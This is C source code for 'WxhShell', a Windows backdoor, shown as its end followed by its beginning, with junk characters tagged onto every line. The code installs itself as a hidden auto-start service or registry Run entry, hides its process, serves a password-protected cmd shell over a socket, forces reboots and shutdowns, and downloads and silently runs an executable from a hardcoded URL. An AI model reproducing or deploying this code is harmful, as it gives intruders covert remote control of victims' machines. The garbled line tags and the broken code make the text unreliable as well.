    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z<8WN[fB  
    if(Boot(SHUTDOWN)) 6V-JyTcxGI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?nD]p!  
    else { QMwV6cA  
    closesocket(wsh); |S3wCG  
    ExitThread(0); [V41 Gk  
    } l/56;f\IA  
    break; Bx0=D:j  
    } _>G=xKA#e  
  // 获取shell M>@PRb:Oc  
  case 's': { +e&Q<q!,q  
    CmdShell(wsh); -Vj112 fI  
    closesocket(wsh); c5t7X-LB  
    ExitThread(0); 4J$dG l#f  
    break; lt#3&@<v  
  } cd)}a_9  
  // 退出 }Hb_8P  
  case 'x': { sDyt3xN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +xBM\Dz8  
    CloseIt(wsh); ! $fF3^8-  
    break; 4JGU`L:~  
    } )D ':bWP  
  // 离开 h~k+!\  
  case 'q': { _j|U>s   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HvW6=d(#  
    closesocket(wsh); '.#3h$d  
    WSACleanup(); b%e7rY2  
    exit(1); 'PdUSv|lH  
    break; .a}!!\@  
        } ^fvx2<  
  } u$+nl~p[&  
  } NzbHg p  
MDfC%2Q  
  // 提示信息 1yjP`N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DK(8Ml:k  
} Ikgia:/-Z  
  } i/F ].Sag  
(2r808^2  
  return; \7 }{\hY-  
} 'BNZUuUl  
%?!TqJT?{  
// shell模块句柄 Z+Ppd=||,  
int CmdShell(SOCKET sock) qz|xow/ns@  
{ A7TV-eWG  
STARTUPINFO si; %(g!,!l)  
ZeroMemory(&si,sizeof(si)); zCSLV>.F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 64f6D"."  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rqhRrG{L|&  
PROCESS_INFORMATION ProcessInfo; P^'}3*8S  
char cmdline[]="cmd"; !6`&0eY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H;RgYu2J  
  return 0; t&rr;W]  
} i&JI"Dd7  
z=DK(b;$z  
// 自身启动模式 M.KXDD#O  
int StartFromService(void) !-q)9K?  
{ q8 Rep  
typedef struct fnudy% oo  
{ S?# 'Y*h  
  DWORD ExitStatus; tMr$N[@r  
  DWORD PebBaseAddress; 2G }@s.iE  
  DWORD AffinityMask; ?,FL"ye  
  DWORD BasePriority; }Z% j=c"d  
  ULONG UniqueProcessId; wW0m}L  
  ULONG InheritedFromUniqueProcessId; >TS=tK  
}   PROCESS_BASIC_INFORMATION; TV(%e4U=  
<"!'>ZUt  
PROCNTQSIP NtQueryInformationProcess; P;p;o]  
sW!MVv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $>=w<=r|;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qX*Xo[Xp  
;Dc\[r  
  HANDLE             hProcess; o^<W3Z  
  PROCESS_BASIC_INFORMATION pbi;  fG|+ !  
 Rlx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wbh^ZMQ  
  if(NULL == hInst ) return 0; seNH/pRb  
qF4DX$$<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .jRv8x b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j9 &0/ ~/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mv1|oFVW  
Cj# ?Z7}z  
  if (!NtQueryInformationProcess) return 0; *jo1?  
)iCg,?SSw=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a}7P:e*u  
  if(!hProcess) return 0; *ZF:LOnU  
s:Z1 ZAxv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mp17d$R-  
`}*jjnr"  
  CloseHandle(hProcess); vjYG>YhV  
^%Fn|U\u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7dXh,sD  
if(hProcess==NULL) return 0; luV_  
FSS~E [(DL  
HMODULE hMod; gYfOa`k  
char procName[255]; ^uIKwql  
unsigned long cbNeeded; 73(5.'F  
%)j^>W5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dhI+_z   
mbZ g2TTy  
  CloseHandle(hProcess); q@iZo,Yk  
Vvk \ $'  
if(strstr(procName,"services")) return 1; // 以服务启动 j'&a)-Wx_  
bv'Z~@<c  
  return 0; // 注册表启动 sys;Rz2  
} mNr<=Z%b  
t[x[X4  
// 主模块 8Nxyc>8K~  
int StartWxhshell(LPSTR lpCmdLine) *G;D u`;  
{ dV+GWJNNE  
  SOCKET wsl; W[.UM  
BOOL val=TRUE; ?XO}6q<tM  
  int port=0; q'<K$4_,%  
  struct sockaddr_in door; gPr&9pHU  
&}vc^io  
  if(wscfg.ws_autoins) Install(); B~/ejC!  
&3'zG)  
port=atoi(lpCmdLine); ?1lx8+  
N;XJMk_ H  
if(port<=0) port=wscfg.ws_port; |NaEXzo|qY  
+/2:  
  WSADATA data; &6@e9ff0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Gm'Ch}E  
9Q*zf@w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \}NZ] l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R,[+9U|4V  
  door.sin_family = AF_INET; >)S'`e4Gu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wfc+E9E  
  door.sin_port = htons(port); ru1FJ{n  
"AMsBvzgo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bL18G(5  
closesocket(wsl); &?B\(?*  
return 1; )J!=X`b  
} / S)&dN`  
i@`T_&6l  
  if(listen(wsl,2) == INVALID_SOCKET) { y{1|@?ii  
closesocket(wsl); sK`pV8&xq  
return 1; b:(*C  
} >rzpYc'~w  
  Wxhshell(wsl);  S]&7  
  WSACleanup(); ;gv9J [R  
t&Z:G<;  
return 0; qf6}\0   
SZ"^>}zl=  
} v0S7 ]?_  
Y([vma>U]  
// 以NT服务方式启动 sBD\;\I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pM7xnL4  
{ jRzQ`*KC#  
DWORD   status = 0; E| =~rIKN  
  DWORD   specificError = 0xfffffff; U2VnACCUZs  
^LJ?GJ$g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J0"<}"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \.jT"Z~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &li&P5!i  
  serviceStatus.dwWin32ExitCode     = 0; ,c'a+NQ_t  
  serviceStatus.dwServiceSpecificExitCode = 0; ](H vx  
  serviceStatus.dwCheckPoint       = 0; IEJp!P,E  
  serviceStatus.dwWaitHint       = 0; IOi6' 1l  
B|+tK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S)d_A  
  if (hServiceStatusHandle==0) return; rJl'+Ae9N|  
#y%?A;  
status = GetLastError(); "Crm\UI6  
  if (status!=NO_ERROR) dLI`\e<r&[  
{ 3xz{[5<p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9oA.!4q  
    serviceStatus.dwCheckPoint       = 0; Gr?[s'Ze  
    serviceStatus.dwWaitHint       = 0; 1u0 NG)*f  
    serviceStatus.dwWin32ExitCode     = status; ,zY!EHpx  
    serviceStatus.dwServiceSpecificExitCode = specificError; Zf%6U[{ T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;qT7BUh(%  
    return; Dx<CO1%z-  
  } :X;AmLf`2u  
/IN/SZx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sd~T  
  serviceStatus.dwCheckPoint       = 0; =!%+ sem  
  serviceStatus.dwWaitHint       = 0; I7nZ9n|KU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z*(lg$A9 M  
} tkGJ!aUt  
>O&:[CgEF  
// 处理NT服务事件,比如:启动、停止 y}bE'Od  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *T'>-nm]  
{ s8<)lO<SV.  
switch(fdwControl) mME a*9P  
{ h^KLqPBt{  
case SERVICE_CONTROL_STOP: 13nXvYo'  
  serviceStatus.dwWin32ExitCode = 0; "m:4e`_dz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qSWnv`hL  
  serviceStatus.dwCheckPoint   = 0; pZ4]oK\*  
  serviceStatus.dwWaitHint     = 0; P$=Y5   
  { yy6?16@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "cUCB  
  } vc_ 5!K%[  
  return; 2!35Tj"RFE  
case SERVICE_CONTROL_PAUSE: $xf{m9 8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,@Izx  
  break; ,,>b=r_r&  
case SERVICE_CONTROL_CONTINUE: V5{^R+_)Ya  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8Dq;QH}  
  break; 0FV?By  
case SERVICE_CONTROL_INTERROGATE: LGm>x  
  break; -a[] #v9  
}; v*7lJNN.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?Q)z5i'g#  
} S:En9E  
BEzF'<Z  
// 标准应用程序主函数 93npzpge  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?>W4*8 (  
{ 6Q. _zk  
# N.(ZP  
// 获取操作系统版本 iPxhDn<B  
OsIsNt=GetOsVer(); 3S'juHT e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x`vIY-DS  
*SX'Or,  
  // 从命令行安装 kMHupROj  
  if(strpbrk(lpCmdLine,"iI")) Install(); \&p MF  
oiq7I@Y`x  
  // 下载执行文件 j:9kJq>mv  
if(wscfg.ws_downexe) { < g<Lf[n$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0} UJP   
  WinExec(wscfg.ws_filenam,SW_HIDE); {zc<:^r^  
} e:Zc-  
0pS|t/h0  
if(!OsIsNt) { ]r{-K63P{!  
// 如果时win9x,隐藏进程并且设置为注册表启动 <z*SO a  
HideProc(); DVNGV   
StartWxhshell(lpCmdLine); # Pulbk8  
} @]#0jiS  
else vRLkz4z   
  if(StartFromService()) i~dW)7  
  // 以服务方式启动 ''Y}Q"  
  StartServiceCtrlDispatcher(DispatchTable); :A,V<Es}I"  
else (c<Krc h  
  // 普通方式启动 2@ >04]  
  StartWxhshell(lpCmdLine); T7AFL=  
/]Fs3uf  
return 0; *@q+A1P7@  
} QM1-w^  
,Z;z}{.hq  
nz|;6?LCLY  
NW`.RGLI<  
=========================================== xP.B,1\X  
,x?H]a)  
{g2cm'hD  
IPU'M*|Q  
.-;K$'YG  
6}.B2f9  
" Ds$8$1=L=k  
Hut au^l  
#include <stdio.h> zn T85#]\@  
#include <string.h> U n#7@8,  
#include <windows.h> HM])m>KeT  
#include <winsock2.h> JrTSu`S('  
#include <winsvc.h> R$&|*0  
#include <urlmon.h> Tw{H+B"uVz  
qwu++9BM  
#pragma comment (lib, "Ws2_32.lib") ^A^,/3  
#pragma comment (lib, "urlmon.lib") `~hAXnQK=  
8x jJ  
#define MAX_USER   100 // 最大客户端连接数 -&#L4AM%(9  
#define BUF_SOCK   200 // sock buffer N7%+n*Z  
#define KEY_BUFF   255 // 输入 buffer 5r<%xanXW/  
"-y\F}TE  
#define REBOOT     0   // 重启 Sq&*K9:z  
#define SHUTDOWN   1   // 关机 z I`'n%n=  
U A T46  
#define DEF_PORT   5000 // 监听端口 _7YAF,@vT  
C|Bk'<MI  
#define REG_LEN     16   // 注册表键长度 zYdSg<[^  
#define SVC_LEN     80   // NT服务名长度 ~F*pV*  
^CTgo,uf6H  
// 从dll定义API p3:x\P<|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cve(pkl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fMr6ZmB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0\g;^Zpi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o$m64l  
br}.s@~  
// wxhshell配置信息 36JVnW;  
struct WSCFG { BbZ-dXC<  
  int ws_port;         // 监听端口 D>,]EE-  
  char ws_passstr[REG_LEN]; // 口令 !Y-MUZ$f  
  int ws_autoins;       // 安装标记, 1=yes 0=no kwdmw_  
  char ws_regname[REG_LEN]; // 注册表键名 -vI?b#  
  char ws_svcname[REG_LEN]; // 服务名 .b]g# Du=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z9ciS";L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v@;:aN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j-ugsV`2=*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tnbaU%;|J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S(5.y%"<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iYA06~ d  
FpE83}@".w  
}; 1 ,oC:N  
!&TbE@Xk  
// default Wxhshell configuration U KF/v  
struct WSCFG wscfg={DEF_PORT, qt}vM*0}V  
    "xuhuanlingzhe", } 1w[G;$  
    1, A6}M F  
    "Wxhshell", *Xt#04_  
    "Wxhshell", K;G1cFFyG  
            "WxhShell Service", f3U#|(%(*  
    "Wrsky Windows CmdShell Service", A\ze3fmV  
    "Please Input Your Password: ", BD,JBu]  
  1, UuAn`oYhV  
  "http://www.wrsky.com/wxhshell.exe", 3S:}fPR  
  "Wxhshell.exe" C^Tc9  
    }; \SnW(,`oX  
3mZX@h@  
// 消息定义模块 O{&5/xBA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?)1h.K1}M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o(>!T=f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [9a0J):w{  
char *msg_ws_ext="\n\rExit."; A$A7 F=x  
char *msg_ws_end="\n\rQuit.";  2 Ua_7  
char *msg_ws_boot="\n\rReboot..."; \P!v9LX(  
char *msg_ws_poff="\n\rShutdown..."; a2UER1Yp"  
char *msg_ws_down="\n\rSave to "; 7i~::Z <  
GY<Y,  
char *msg_ws_err="\n\rErr!"; *-Y77p7u  
char *msg_ws_ok="\n\rOK!"; *D F5sY  
('W#r"  
char ExeFile[MAX_PATH]; KU3lAjzN  
int nUser = 0; RX>kOp29  
HANDLE handles[MAX_USER]; M{zzXE[@  
int OsIsNt; A) p}AEBc  
\,[Qg#W$u  
SERVICE_STATUS       serviceStatus; ~.AUy%$_g+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1[J&^@t[h6  
-hL8z$}  
// 函数声明 5|x FY/%  
int Install(void); G-Z_pGer^  
int Uninstall(void); 1QE-[|  
int DownloadFile(char *sURL, SOCKET wsh); l},*^Sn<5  
int Boot(int flag); DyG3|5s1R  
void HideProc(void); 8;p6~&).C~  
int GetOsVer(void); uwQ{y>SG  
int Wxhshell(SOCKET wsl); !li Q;R&  
void TalkWithClient(void *cs); :^3MN  
int CmdShell(SOCKET sock); 5h+g^{BE  
int StartFromService(void); M\,0<{  
int StartWxhshell(LPSTR lpCmdLine); &pK1S>t  
Pp:(PoH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]ss0~2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;:cU/{W  
nWbe=z&y8[  
// 数据结构和表定义 3w ?)H  
SERVICE_TABLE_ENTRY DispatchTable[] = c>!>D7:7  
{ >t'/(y  
{wscfg.ws_svcname, NTServiceMain}, ]0xbvJ8oK  
{NULL, NULL} [xk1}D  
}; @8|-  C  
9Z6] ];8E  
// 自我安装 U{h5uezD  
int Install(void) c%Yvj  
{ g {8>2OK$c  
  char svExeFile[MAX_PATH]; <N=p_m 2T  
  HKEY key; C $aiOK-]+  
  strcpy(svExeFile,ExeFile); `HgT5}  
7&:gvhw   
// 如果是win9x系统,修改注册表设为自启动 JE9|;A  
if(!OsIsNt) { el.;T*Wn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B~lrd#qC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _,NL;66=[  
  RegCloseKey(key); W*u Yb|0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9X@y*;w<t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K`j#'`/KC  
  RegCloseKey(key); jbn{5af  
  return 0; Ngu+V  
    } _I&0HRi  
  } eq "a)QB3m  
} ^g~Asz5]  
else { &y mfA{s  
t}qoIxy)  
// 如果是NT以上系统,安装为系统服务 Io5-[d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); | 3!a=  
if (schSCManager!=0) \5k[ "8~  
{ hBLJKSv  
  SC_HANDLE schService = CreateService aQMET~A:  
  ( IJs*zzR  
  schSCManager, PsEm(.z  
  wscfg.ws_svcname, E xc`>Y q  
  wscfg.ws_svcdisp, vy[*xT]  
  SERVICE_ALL_ACCESS, {w(6Tc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7cr+a4T33  
  SERVICE_AUTO_START, T}$1<^NK  
  SERVICE_ERROR_NORMAL, tKo ^A:M  
  svExeFile, un6grvxr  
  NULL, {LbcG^k  
  NULL, g>_6O[;t%  
  NULL, (pH13qU5  
  NULL, >72j,0=e  
  NULL zr\I1v]?1#  
  ); l\ts!p4f$  
  if (schService!=0) #v=hiL  
  { ]"q)X{G(+  
  CloseServiceHandle(schService); Q68&CO(rE  
  CloseServiceHandle(schSCManager); W~POS'1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1V+a;-?  
  strcat(svExeFile,wscfg.ws_svcname); v~?d7p {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z\oq b) a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "7JO~T+v  
  RegCloseKey(key);  |UZ#2  
  return 0; ]B:g<}5$4  
    } p;"pTGoW i  
  } E&#AX:  
  CloseServiceHandle(schSCManager); vy,ER<  
} FaPX[{_E  
} Jq l#z/z  
=~?2i)-mC  
return 1; ?M;2H {KG:  
} ^p|MkB?uM  
UVUbxFq:  
// 自我卸载 !Jh-v  
int Uninstall(void) G>M# BuU  
{ f:B+R  
  HKEY key; .*r ?zDV  
7F>5<Gv:-  
if(!OsIsNt) { }C}~)qaZv+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,1Suq\ L  
  RegDeleteValue(key,wscfg.ws_regname); c;&m}ImLe.  
  RegCloseKey(key); P cnr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O9r3^y\>I  
  RegDeleteValue(key,wscfg.ws_regname); [j?n}D@L  
  RegCloseKey(key); U!XC-RA3 _  
  return 0; SWz+.W{KQ"  
  } e/r41  
} 6$4G&'J  
} ^IjKT  
else { fYuJf,I[f  
#y&3`Nz3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j_L 'Ztu3  
if (schSCManager!=0) ?NGM<nK;7  
{ hW~,Uqy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  fv5'Bl  
  if (schService!=0) \'q-Xr'}M  
  { W% YJ.%I  
  if(DeleteService(schService)!=0) { =V5<>5"M?  
  CloseServiceHandle(schService); |<\o%89AM  
  CloseServiceHandle(schSCManager); ?uc=(J+6  
  return 0; QjWv?tm  
  } ^ W eE%"  
  CloseServiceHandle(schService); .6z#o{n  
  } f+}? $'  
  CloseServiceHandle(schSCManager); -n?|,cO  
} z\pT nteO  
} pZ/x,b#.  
05g U~6AF  
return 1; YjdCCju  
} SuB;Nb7r`  
u_dTJ, m  
// 从指定url下载文件 Sqed*  
int DownloadFile(char *sURL, SOCKET wsh) ` Xhj7%>  
{ lE78 Yl]  
  HRESULT hr; 2o] V q  
char seps[]= "/"; p(8H[L4Y  
char *token; W2O =dG`  
char *file; t4GG@`  
char myURL[MAX_PATH]; awB1ryrOF  
char myFILE[MAX_PATH]; Pp7}|/  
j5Vyo>  
strcpy(myURL,sURL); VE+Q Y9(  
  token=strtok(myURL,seps); ^Y8?iC<+  
  while(token!=NULL) +7U$qEG  
  { #~^#%G  
    file=token; "^fcXV9Wp  
  token=strtok(NULL,seps); \sEq r)\k  
  } %E}f7GT 4  
]{jdar^  
GetCurrentDirectory(MAX_PATH,myFILE); 7 <*sP%6bD  
strcat(myFILE, "\\"); 3lcd:=  
strcat(myFILE, file); z4!TK ps  
  send(wsh,myFILE,strlen(myFILE),0); ;+'x_'a  
send(wsh,"...",3,0); jAB~XaT,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sWX iY  
  if(hr==S_OK) _Jx.?8  
return 0;  F"FGPk  
else :aI[ lZ  
return 1; l ~CYxO  
vOy;=0$  
} w6zB uW  
W&#Ps6)8  
// 系统电源模块 #!wu}nDu  
int Boot(int flag) 8C7$8x] mM  
{ {U?/u93~  
  HANDLE hToken; [~m@'/  
  TOKEN_PRIVILEGES tkp; as=Z_a:0N  
vnwS &;-k~  
  if(OsIsNt) { tGDsZ;3Yr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /FJ )gQYA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BF{v0Z0/}k  
    tkp.PrivilegeCount = 1; ^&F8NEb=2>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F`IV9qv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mlW0ptp  
if(flag==REBOOT) { P /|2s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i}"Eu< P  
  return 0; o9& 1Ct  
} A.vWGBR  
else { 4WU%K`jnXb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J:LwO  
  return 0; 70hm9b-   
} 3]"RaI4Q0  
  } r#hA kOw  
  else { +NWhvs  
if(flag==REBOOT) { %ub\+~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3}*)EC  
  return 0; fGS5{dti  
} xc{$=>'G  
else { WX<),u2@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qM%l  
  return 0; ;%wQnhg  
} 3H"bivK  
} 3"afrA  
x h|NmZg  
return 1; 1 ? be  
} 1?+%*uoPX  
7HfA{.|m  
// win9x进程隐藏模块 PCKgdh},  
void HideProc(void) En-BT0o  
{ kD1[6cJ!=.  
K6 D3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )2vkaR  
  if ( hKernel != NULL ) a2Q_K2t  
  { 93I.Wp_{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R;D|To!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vhsHyb  
    FreeLibrary(hKernel); f-]5ZhM'  
  } U4PnQ K,  
`wrN$&  
return; 3jx5Lou)&  
} fu 0]BdM  
[@K#BFA  
// 获取操作系统版本 |a! y%R=  
int GetOsVer(void) U42B( ow  
{ W[ZW=c  
  OSVERSIONINFO winfo; ]&;M 78^6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )Pj8{.t4  
  GetVersionEx(&winfo); F,F1Axf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v>ygr8+C,  
  return 1; ZP*(ZU@j=Z  
  else (c3%rM m]  
  return 0; { [S@+  
} #0*OkZMt  
78o>UWA:  
// 客户端句柄模块 RxUABF8b  
int Wxhshell(SOCKET wsl) 6KpG,%2L#  
{ \9FWH}|  
  SOCKET wsh; w]-,X`  
  struct sockaddr_in client; $)(K7> P  
  DWORD myID; Y#[Wv1hi  
fwWE`BB  
  while(nUser<MAX_USER) ??MF8 uv  
{ P%%[_6<%M  
  int nSize=sizeof(client); 4|yZA*Q^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *U{E[<k{  
  if(wsh==INVALID_SOCKET) return 1; cwK+{*ZH/  
I[td:9+hK@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z#Q)a;RA  
if(handles[nUser]==0) IJnh@?BC  
  closesocket(wsh); ~4MUac^w  
else 'OERW|BO  
  nUser++; ueimTXk  
  } +WGL`RP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PNn- @=%  
b0vbE8wa  
  return 0; +0)zB;~7  
} z'9Mg]&>  
orU++,S4Pm  
// 关闭 socket T d6Gu"  
void CloseIt(SOCKET wsh) N=?! ~n9Q-  
{ fxR}a,a  
closesocket(wsh); >WKlR` J%  
nUser--; \q |n0>  
ExitThread(0); ku`bwS  
} MZ/PXY  
o{QU?H5h  
// 客户端请求句柄 bM%c*_$F7  
void TalkWithClient(void *cs) vU|.Gw  
{ [u=DAk?8  
@Z50S 8  
  SOCKET wsh=(SOCKET)cs; 9YtdE*,k  
  char pwd[SVC_LEN]; Qey6E9eCA  
  char cmd[KEY_BUFF]; `6t3D&.u0  
char chr[1]; p| #gn<z}  
int i,j; IdvBQ [Gj  
6BPZ2EQ  
  while (nUser < MAX_USER) { e1k\:]6  
Ul EP;  
if(wscfg.ws_passstr) { wG&+*,}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zF F=v7[j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /_,} o7@t~  
  //ZeroMemory(pwd,KEY_BUFF); ^edg@fp  
      i=0; gUrb&#\X  
  while(i<SVC_LEN) { 7%(|)3"V  
h0N*hx   
  // 设置超时 r7I,%}k  
  fd_set FdRead; M~G1ZB  
  struct timeval TimeOut; jgr2qSU C  
  FD_ZERO(&FdRead); HxVQeyOR  
  FD_SET(wsh,&FdRead); -}ebn*7i\  
  TimeOut.tv_sec=8; Q)l]TgvSe  
  TimeOut.tv_usec=0; 1qs~[7{C1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cZ" Ut  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L-ZJ[#D  
Oc]&1>M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q&rf&8iH  
  pwd=chr[0]; J6!t"eB+  
  if(chr[0]==0xd || chr[0]==0xa) { :*2+t-  
  pwd=0; W biUz2)  
  break; J-W, ^%  
  } TwZvz[u  
  i++; n9zS'VU  
    } mX8A XWIa  
,{C(<1  
  // 如果是非法用户,关闭 socket EO|r   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AJ;Y Nb  
} @"~Mglgw  
nI4xK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HY]vaA`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FjUp+5  
!Xwp;P=  
while(1) { Bc4{$sc"O  
z]k=sk  
  ZeroMemory(cmd,KEY_BUFF); -5NP@  
Po[u6K2&  
      // 自动支持客户端 telnet标准   K/~+bq# +  
  j=0; 6,'!z ?d%  
  while(j<KEY_BUFF) { u.gh04{5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /$hfd?L  
  cmd[j]=chr[0]; &)vX7*j  
  if(chr[0]==0xa || chr[0]==0xd) { 4/{Io &|  
  cmd[j]=0; I`44}oJ  
  break; %iI0JF*E z  
  } 7"f$;CN?~  
  j++; `8F%bc54iw  
    } /Q"nQSG  
oHmU|  
  // 下载文件 F9e$2J)C  
  if(strstr(cmd,"http://")) { g1\4Jb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SVp]}!jI  
  if(DownloadFile(cmd,wsh)) 8w|j Z@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 66=6;77  
  else b?oT|@  
